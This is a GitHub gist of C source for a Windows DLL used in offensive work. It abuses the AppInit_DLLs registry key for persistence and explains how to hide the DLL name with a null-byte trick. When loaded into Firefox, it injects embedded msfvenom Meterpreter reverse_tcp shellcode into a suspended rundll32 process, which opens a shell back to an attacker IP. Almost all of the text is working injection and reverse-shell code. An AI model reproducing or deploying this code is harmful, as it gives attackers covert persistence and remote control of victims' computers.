Skip to content

Instantly share code, notes, and snippets.

@PaulSec
Forked from Arno0x/appinitdllinjection.c
Created May 21, 2019 12:21
Show Gist options
  • Save PaulSec/2f4b5c0f7d188bb33a878d166514bc90 to your computer and use it in GitHub Desktop.
Save PaulSec/2f4b5c0f7d188bb33a878d166514bc90 to your computer and use it in GitHub Desktop.
AppInit_DLLs injection
// Compile with: cl.exe appinitdllinjection.c /LD /o appinitdllinjection.dll
//
// This DLL can only be injected in a x64 process
//
// Set the registry to automatically load this DLL into 'any' process that is started (at least the ones relying on User32.dll)
// by using the AppInit_DLLs capability:
//
// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs = 'path_to_the_dll' (comma or space separated if required)
// One trick with this registry entry is to separate DLLs with an hex '00' (by editing the value in binary) to hide the DLL name
//
// HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs = 1 (to enable this mecanism)
#include <windows.h>
#define SCSIZE 2048
// Meterpreter shellcode obtained with 'msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.134 -f c
unsigned char code[SCSIZE] = "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x34\x86\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x05"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";
void ExecutePayload(void);
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
// We can only rely on Kernel32.dll API, so recreate an own made strstr() string comparison function in pure C
char* StrStr(char *str, char *substr)
{
while (*str)
{
char *Begin = str;
char *pattern = substr;
// If first character of sub string match, check for whole string
while (*str && *pattern && *str == *pattern)
{
str++;
pattern++;
}
// If complete sub string match, return starting address
if (!*pattern)
return Begin;
str = Begin + 1; // Increament main string
}
return NULL;
}
BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
// String to hold the name of the current process
TCHAR filePath[2048];
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
// Retrieving the name of the current process and save it into the filePath variable
GetModuleFileName(NULL, filePath, 2048);
// If the current process is 'firefox' (and is 64 bits) then, inject the shellcode into a rundll subprocess
if (StrStr(filePath, "firefox")) {
ExecutePayload();
}
break;
case DLL_PROCESS_DETACH:
// Code to run when the DLL is freed
break;
case DLL_THREAD_ATTACH:
// Code to run when a thread is created during the DLL's lifetime
break;
case DLL_THREAD_DETACH:
// Code to run when a thread ends normally.
break;
}
return TRUE;
}
void ExecutePayload(void) {
int error;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
DWORD prot;
LPVOID ep;
// Start up the payload in a new process
inline_bzero( &si, sizeof( si ));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
ctx.Rip = (DWORD64)ep;
SetThreadContext(pi.hThread,&ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
// ExitProcess(0);
// ExitThread(0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment